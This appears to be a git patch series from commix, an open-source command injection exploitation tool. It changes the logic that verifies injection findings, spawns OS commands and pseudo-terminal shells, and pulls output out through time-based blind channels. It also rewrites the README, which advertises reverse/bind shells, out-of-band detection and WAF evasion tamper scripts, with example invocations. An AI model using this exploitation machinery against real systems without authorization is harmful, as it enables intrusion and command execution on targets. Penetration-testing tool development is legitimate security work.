checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): - continue - else: - raise - # Truthy means the tempfile-based fallback already handled it - stop here. - if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): - return True - else: - if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): - continue - else: - raise - - elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, hard_exit=False) - - elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - checks.quit(filename, url, hard_exit=False) - - except KeyboardInterrupt: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - # Delete previous shell (text) files (output) - if 'vuln_parameter' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + raise + # Truthy means the tempfile-based fallback already handled it - stop here. + if checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): + return True else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Always raises; let injection_process() handle the skip/end/next/quit action. - checks.handle_detection_interrupt(filename, url) + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): + continue + else: + raise - except SystemExit: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - if 'vuln_parameter' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except _urllib.error.URLError as e: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - warn_msg = "It seems you do not have permission to " - warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) - err_msg = str(e).replace(": "," (") + ")." - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - # Provide custom server's root directory. - if not settings.USER_APPLIED_WEB_ROOT: - settings.CUSTOM_WEB_ROOT = False - checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) - continue + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: + err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, hard_exit=False) - except EOFError: - checks.EOFError_err_msg() - raise + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: + err_msg = "You do not have access to this page: '" + settings.DEFINED_WEBROOT + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + checks.quit(filename, url, hard_exit=False) - except Exception: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - raise - else: - continue + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # Delete previous shell (text) files (output) + if 'vuln_parameter' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Always raises; let injection_process() handle the skip/end/next/quit action. + checks.handle_detection_interrupt(filename, url) - # Yaw, got shellz! - # Do some magic tricks! - if shell and not resumed: - # Re-verify with a fresh marker/pair each round. - checks.check_for_false_positive_result(False) - verified = True - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS: - # One write + one fetch for all rounds, not a cycle per round. - verify_tags = [''.join(random.choice(string.ascii_uppercase) for _ in range(6)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS)] - if interpreter: - verify_payload = payloads.decision_combined_alter_interpreter(separator, verify_tags, OUTPUT_TEXTFILE) - else: - verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE) - requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) - time.sleep(timesec) - verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - verify_response = checks.get_response(verify_output) - verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") - # Tags must appear in order - rules out a stale/cached file. - verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None - else: - for _verify_round in range(settings.RESULTS_BASED_VERIFY_ROUNDS): - verify_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - if interpreter: - verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, OUTPUT_TEXTFILE) - else: - verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE) - requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) - time.sleep(timesec) - verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - verify_response = checks.get_response(verify_output) - verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") - verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) - verified = bool(verify_shell) and verify_shell[0] == verify_tag - else: - verify_randv1 = random.randrange(100) - verify_randv2 = random.randrange(100) - verify_randvcalc = verify_randv1 + verify_randv2 - if interpreter: - verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, verify_randv1, verify_randv2) - else: - verify_payload = payloads.decision(separator, verify_tag, verify_randv1, verify_randv2) - verify_response, _, verify_payload, _, _ = requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) - if settings.URL_RELOAD: - verify_response = requests.url_reload(url, timesec) - time.sleep(timesec) - verified = bool(injector.injection_test_results(verify_response, verify_tag, verify_randvcalc, technique, verify_payload)) - if not verified: - break - if not verified: - checks.unexploitable_point() - shell = False - elif settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - settings.close_progress_line() - if shell: - found = True - no_result = False - # Export session - if not resumed: - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) - session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + except SystemExit: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if 'vuln_parameter' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + else: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except _urllib.error.URLError as e: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + warn_msg = "It seems you do not have permission to " + warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) + err_msg = str(e).replace(": "," (") + ")." + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + # Provide custom server's root directory. + if not settings.USER_APPLIED_WEB_ROOT: + settings.CUSTOM_WEB_ROOT = False + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + continue + + except EOFError: + checks.EOFError_err_msg() + raise + + except Exception: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + raise + else: + continue + + # Yaw, got shellz! + # Do some magic tricks! + if shell and not resumed: + # Re-verify with a fresh marker/pair each round. + checks.check_for_false_positive_result(False) + verified = True + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED and settings.TARGET_OS != settings.OS.WINDOWS: + # One write + one fetch for all rounds, not a cycle per round. + verify_tags = [''.join(random.choice(string.ascii_uppercase) for _ in range(6)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS)] + if interpreter: + verify_payload = payloads.decision_combined_alter_interpreter(separator, verify_tags, OUTPUT_TEXTFILE) + else: + verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + verify_response = checks.get_response(verify_output) + verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + # Tags must appear in order - rules out a stale/cached file. + verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None + else: + for _verify_round in range(settings.RESULTS_BASED_VERIFY_ROUNDS): + verify_tag = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, OUTPUT_TEXTFILE) else: - whitespace = settings.WHITESPACES[0] - if not resumed: - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) - cmd = maxlen = "" - if not 'url_time_response' in locals(): - url_time_response = "" - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: - OUTPUT_TEXTFILE = "" - # Registered here, run once at quit(). - _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) - _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) - if menu.options.os_cmd: - def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): - if settings.OS_CMD_DONE: - return - settings.OS_CMD_DONE = True - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - _register_post_detection_action(_run_os_cmd) - # Pseudo-Terminal shell - if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: - continue + verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE) + requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + time.sleep(timesec) + verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + verify_response = checks.get_response(verify_output) + verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) + verified = bool(verify_shell) and verify_shell[0] == verify_tag + else: + verify_randv1 = random.randrange(100) + verify_randv2 = random.randrange(100) + verify_randvcalc = verify_randv1 + verify_randv2 + if interpreter: + verify_payload = payloads.decision_alter_interpreter(separator, verify_tag, verify_randv1, verify_randv2) else: - return + verify_payload = payloads.decision(separator, verify_tag, verify_randv1, verify_randv2) + verify_response, _, verify_payload, _, _ = requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) + if settings.URL_RELOAD: + verify_response = requests.url_reload(url, timesec) + time.sleep(timesec) + verified = bool(injector.injection_test_results(verify_response, verify_tag, verify_randvcalc, technique, verify_payload)) + if not verified: + break + if not verified: + checks.unexploitable_point() + shell = False + elif settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + settings.close_progress_line() + if shell: + found = True + no_result = False + # Export session + if not resumed: + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + if not resumed: + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + cmd = maxlen = "" + if not 'url_time_response' in locals(): + url_time_response = "" + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + OUTPUT_TEXTFILE = "" + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + if menu.options.os_cmd: + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + _register_post_detection_action(_run_os_cmd) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return return exit_handler(no_result) \ No newline at end of file diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 265726acf2..79ed9382ef 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -46,6 +46,14 @@ def _abort_executor(executor, exc): """ The main time-realative command injection exploitation. """ +""" +How many output positions a time-related retrieval resolves at once. +""" +def retrieval_concurrency(): + if settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False: + return settings.THREADS + return 1 + def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): payloads = execution.select_payloads_module(technique) @@ -62,8 +70,13 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa timesec = settings.CALIBRATED_TIMESEC found_chars = False + # Retrieving a user command's output is exploitation, even when the finding was resumed. + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + settings.INCOMPLETE_OUTPUT = False # Warn about network load once before the first command that needs it. checks.time_related_attaks_msg() + checks.warm_up_response_baseline(url, http_request_method) if settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " @@ -312,6 +325,17 @@ def _validate_boundary(candidate): info_msg = "Retrieved length: " + str(output_length) settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Every character costs its own requests, so a long output is worth confirming first. + if found_chars == True and output_length > settings.LARGE_OUTPUT_THRESHOLD: + workers = retrieval_concurrency() + message = "The output is " + str(output_length) + " characters long and is recovered " + message += "one character at a time" if workers == 1 else str(workers) + " characters at a time" + message += ". Do you want to retrieve it? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_YES: + warn_msg = "Skipping the retrieval of " + str(output_length) + " characters." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return 0, "" + # Proceed with the next (injection) step! if found_chars == True : if settings.TARGET_OS == settings.OS.WINDOWS: @@ -455,16 +479,25 @@ def _bisect_chars(force_full=False): if not force_full: with observed_chars_lock: top_candidates = sorted(char_frequency, key=char_frequency.get, reverse=True)[:settings.FREQUENCY_PROBE_TOP_K] + saturated = False for candidate in top_candidates: while True: try: if _char_delayed(candidate, operator="-eq"): - return candidate, False + # Reject a saturated oracle: a value that cannot match must come back undelayed. + if not (threaded or settings.JITTER_SEEN): + return candidate, False + control = candidate + 1 if candidate < max(char_pool) else min(char_pool) + if not _char_delayed(control, operator="-eq"): + return candidate, False + saturated = True break except KeyboardInterrupt: if threaded: raise checks.handle_exploitation_interrupt(filename, url) + if saturated: + break with observed_chars_lock: eligible = (observed_count[0] >= settings.NARROWING_MIN_OBSERVED @@ -635,7 +668,7 @@ def _validate(candidate, local_timesec): positions_to_extract = [pos for pos in positions if pos not in results_by_position] conn_error_positions = set() # Asked once already in do_time_related_process(), before this ever runs. - threaded = settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False + threaded = retrieval_concurrency() > 1 if not threaded: remaining = positions_to_extract while remaining: @@ -700,6 +733,7 @@ def _validate(candidate, local_timesec): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if failed_positions: + settings.INCOMPLETE_OUTPUT = True warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no delay was ever observed for " warn_msg += ("them" if len(failed_positions) != 1 else "it") + ") - the retrieved output below is missing " diff --git a/src/utils/common.py b/src/utils/common.py index e4e5e833be..a43dd5b6ac 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -73,8 +73,12 @@ def safe_input(message): return "" finally: settings.reset_terminal_style() - # Enter starts a fresh line, bypassing print_data_to_stdout's tracking. - settings.PROGRESS_LINE_OPEN = False + # A terminal echoes the user's Enter, starting a fresh line; a pipe does not, so the + # prompt line is still open and the next message has to break it itself. + try: + settings.PROGRESS_LINE_OPEN = not sys.stdin.isatty() + except Exception: + settings.PROGRESS_LINE_OPEN = False return value """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 4f9b36db68..cae694fb71 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "109" +REVISION = "110" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -600,7 +600,8 @@ class OS(object): # Use the full printable ASCII range; bisection only depends on ordinal bounds. CHAR_POOL_SINGLE = list(range(32, 127)) -CHAR_POOL_MULTI = list(range(32, 127)) +# Newline and tab are part of real command output, so they have to be recoverable too. +CHAR_POOL_MULTI = [9, 10] + list(range(32, 127)) # The command injection separators. SEPARATORS = [] @@ -682,6 +683,10 @@ class OS(object): OPTIMIZE_THREADS = 3 # Whether persistent (Keep-Alive) connections are in use. KEEP_ALIVE = False +# Set when a time-related retrieval could not resolve every character of the output. +INCOMPLETE_OUTPUT = False +# Output length above which a time-related retrieval asks before spending a request per character. +LARGE_OUTPUT_THRESHOLD = 500 # Locks for shared state accessed by concurrent threads. PRINT_LOCK = _threading.Lock() From 688d6ff3a263463a61c60137e732c556ac707317 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 7 Sep 2026 07:40:51 +0300 Subject: [PATCH 0767/1023] Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support --- README.md | 80 +++- doc/CHANGELOG.md | 2 +- doc/translations/README-es-ES.md | 145 +++++-- doc/translations/README-fa-FA.md | 82 +++- doc/translations/README-fr-FR.md | 146 +++++-- doc/translations/README-gr-GR.md | 79 +++- doc/translations/README-idn-IDN.md | 77 +++- doc/translations/README-tr-TR.md | 144 ++++--- setup.py | 9 +- .../blind/techniques/oob/__init__.py | 16 + .../blind/techniques/oob/oob_handler.py | 35 ++ .../blind/techniques/oob/oob_injector.py | 102 +++++ .../blind/techniques/oob/oob_payloads.py | 400 ++++++++++++++++++ .../techniques/time_based/tb_payloads.py | 397 ++++++----------- src/core/injections/controller/checks.py | 285 ++++++++++++- src/core/injections/controller/controller.py | 120 +++++- src/core/injections/controller/execution.py | 16 +- src/core/injections/controller/handler.py | 377 ++++++++++++++++- src/core/injections/controller/injector.py | 304 +++++++++++-- .../techniques/classic/cb_payloads.py | 44 +- .../techniques/eval_based/eb_payloads.py | 128 ++---- .../techniques/file_based/fb_payloads.py | 55 ++- .../techniques/tempfile_based/tfb_payloads.py | 290 ++++--------- src/core/main.py | 21 +- src/core/modules/shellshock/shellshock.py | 80 ++++ src/core/oob/__init__.py | 15 + src/core/oob/crypto.py | 280 ++++++++++++ src/core/oob/interactsh.py | 145 +++++++ src/core/oob/provider.py | 193 +++++++++ src/core/requests/authentication.py | 8 +- src/core/requests/headers.py | 15 +- src/core/requests/proxy.py | 4 +- src/core/requests/requests.py | 51 ++- src/core/tamper/doublequotes.py | 48 ++- src/utils/common.py | 25 +- src/utils/logs.py | 7 +- src/utils/menu.py | 38 ++ src/utils/session_handler.py | 2 +- src/utils/settings.py | 90 +++- src/utils/update.py | 2 +- src/utils/version.py | 9 +- 41 files changed, 3408 insertions(+), 958 deletions(-) create mode 100644 src/core/injections/blind/techniques/oob/__init__.py create mode 100644 src/core/injections/blind/techniques/oob/oob_handler.py create mode 100644 src/core/injections/blind/techniques/oob/oob_injector.py create mode 100644 src/core/injections/blind/techniques/oob/oob_payloads.py create mode 100644 src/core/oob/__init__.py create mode 100644 src/core/oob/crypto.py create mode 100644 src/core/oob/interactsh.py create mode 100644 src/core/oob/provider.py diff --git a/README.md b/README.md index 3ec25f81b3..7c80cc6c2b 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,19 @@ -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" src="https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg"></a> - <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> - <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> - <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> - </p> +<p align="center"> + <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> +</p> + +<div align="center"> + +`English` • [`Ελληνικά`](doc/translations/README-gr-GR.md) • [`Español`](doc/translations/README-es-ES.md) • [`Français`](doc/translations/README-fr-FR.md) • [`فارسی`](doc/translations/README-fa-FA.md) • [`Bahasa Indonesia`](doc/translations/README-idn-IDN.md) • [`Türkçe`](doc/translations/README-tr-TR.md) + +</div> + +<p align="center"> + <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> + <a href="https://www.python.org/downloads/"><img alt="Python 3.7+" src="https://img.shields.io/badge/python-3.7+-yellow.svg"></a> + <a href="https://github.com/commixproject/commix/blob/master/LICENSE.txt"><img alt="GPLv3 License" src="https://img.shields.io/badge/license-GPLv3-red.svg"></a> + <a href="https://github.com/commixproject/commix/issues?q=is%3Aissue+is%3Aclosed"><img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed-raw/commixproject/commix.svg?colorB=ff0000"></a> + <a href="https://x.com/commixproject"><img alt="X" src="https://img.shields.io/badge/x-@commixproject-blue.svg"></a> </p> **Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://owasp.org/www-community/attacks/Command_Injection)** vulnerabilities. @@ -15,6 +22,26 @@ You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. +> [!IMPORTANT] +> **This project is in active development.** Expect breaking changes between revisions. Review the +> [changelog](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) before updating. +> +> Commix is primarily built to be used as a standalone CLI tool, and it executes operating system +> commands on the targets it tests. **Running commix as a service may pose security risks.** It is +> recommended to use it with caution, and only against systems you own or have explicit +> authorisation to test. + +## Features + +* **Five injection techniques** - classic, dynamic code evaluation, time-based, file-based (with a tempfile-based variant for write-restricted targets), and out-of-band (OAST) over HTTP/S and DNS. +* **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. +* **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. +* **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. +* **Filter and WAF evasion** - 22 combinable tamper scripts, applied in a deterministic order. +* **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. +* **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. +* **Wide back-end support** - PHP, Python, Perl, Ruby and CGI, with experimental support for ASP.NET and JSP. + ## Installation You can download commix on any platform by cloning the official Git repository : @@ -23,28 +50,37 @@ You can download commix on any platform by cloning the official Git repository : Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master). -*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* +> [!NOTE] +> **[Python](https://www.python.org/downloads/)** (version **3.7** or later) is required for running +> commix. All other dependencies are bundled, so no additional installation step is needed. ## Usage To get a list of all options and switches use: - $ python commix.py -h + $ python3 commix.py -h -To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-Examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki pages. +Test a single injectable parameter, then drop into a shell on the target : + $ python3 commix.py --url="http://www.target.com/vuln.php?addr=127.0.0.1" --os-shell -## Links +Prove execution out-of-band, where the response carries nothing back : -* User's manual: https://github.com/commixproject/commix/wiki -* Issues tracker: https://github.com/commixproject/commix/issues + $ python3 commix.py --url="http://www.target.com/vuln.php" --data="addr=127.0.0.1" --oob + +> [!NOTE] +> Out-of-band (OAST) detection with `--oob` uses the public `oast.fun` interactsh server by default, +> so interaction metadata for your target leaves your network. Point `--oob-server` at a self-hosted +> instance to keep it in-house. For a detailed guide, refer to the +> [**`techniques`**](https://github.com/commixproject/commix/wiki/Techniques) wiki page. +Scan a list of targets unattended and write the results to a file : -## Translations + $ python3 commix.py -m targets.txt --batch --report-json=results.json -* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) -* [French](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md) -* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) -* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) -* [Spanish](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md) -* [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) +To get an overview of commix available options, switches and/or basic ideas on how to use commix, check **[usage](https://github.com/commixproject/commix/wiki/Usage)**, **[usage examples](https://github.com/commixproject/commix/wiki/Usage-examples)** and **[filters bypasses](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)** wiki pages. + +## Links + +* User's manual: https://github.com/commixproject/commix/wiki +* Issues tracker: https://github.com/commixproject/commix/issues diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d1f86a94d1..13b2d1b3bb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 4.2 (TBA) -* Fixed: Improved time-related extraction reliability under a saturated timing oracle. +* Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. * Added: New `-o` switch to turn on all optimization switches. * Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive' switch to opt out. * Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 07ceb7d37c..8c2ceb27d5 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -1,45 +1,100 @@ - -<p align="left"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="120" /> - <p align="left"> - <a href="https://github.com/commixproject/commix/actions/workflows/builds.yml"><img alt="Builds Tests" src="https://github.com/commixproject/commix/actions/workflows/builds.yml/badge.svg"></a> - <a href="http://www.python.org/download/"><img alt="Python 2.6|2.7|3.x" 